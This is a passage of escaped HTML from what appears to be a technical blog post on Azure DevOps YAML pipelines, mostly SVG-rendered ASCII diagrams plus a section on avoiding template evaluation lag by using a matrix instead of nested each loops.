style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='164' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='164' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='180' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='164' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='180' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='116' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='164' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='180' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='4' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"5-optimization-avoiding-initialization-lag\"\u003e5. Optimization: Avoiding \u0026ldquo;Initialization Lag\u0026rdquo;\u003c/h2\u003e\n\u003cp\u003eEvery iteration of an \u003ccode\u003e${{ each }}\u003c/code\u003e loop adds computational overhead to the Azure DevOps orchestrator. If you use nested loops to generate 1,000 jobs, your pipeline will hang in an \u0026ldquo;Evaluating\u0026rdquo; state for 40+ seconds.\u003c/p\u003e\n\u003ch3 id=\"the-performance-winner-matrix\"\u003eThe Performance Winner: Matrix\u003c/h3\u003e\n\u003cp\u003eIf your jobs are identical in structure and only differ by variables, \u003cstrong\u003edo not use \u003ccode\u003eeach\u003c/code\u003e\u003c/strong\u003e. Instead, use \u003ccode\u003e${{ each }}\u003c/code\u003e to generate a single \u003ccode\u003ematrix\u003c/code\u003e object, then let the runtime engine handle the parallelism.\u003c/p\u003e\n\u003ch4 id=\"each-vs-matrix-scale-strategy\"\u003eeach vs. matrix (Scale Strategy)\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 624 201\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,16 L 280,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,16 L 608,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,96 L 168,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,96 L 280,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,96 L 496,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,96 L 608,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,160 L 232,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,160 L 560,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,16 L 48,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,96 L 168,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,136 L 168,152' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,16 L 280,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,16 L 376,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,96 L 496,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,136 L 496,152' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 608,16 L 608,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,144 L 168,152' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,144 L 496,152' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='112.000000,160.000000 100.000000,154.399994 100.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 104.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='248.000000,160.000000 236.000000,154.399994 236.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 240.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='440.000000,160.000000 428.000000,154.399994 428.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 432.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='576.000000,160.000000 564.000000,154.399994 564.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 568.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='84' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='52' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='36' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='68' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='180' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='132' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='180' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='4' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='36' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='132' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='84' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='52' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='52' fill='currentColor' 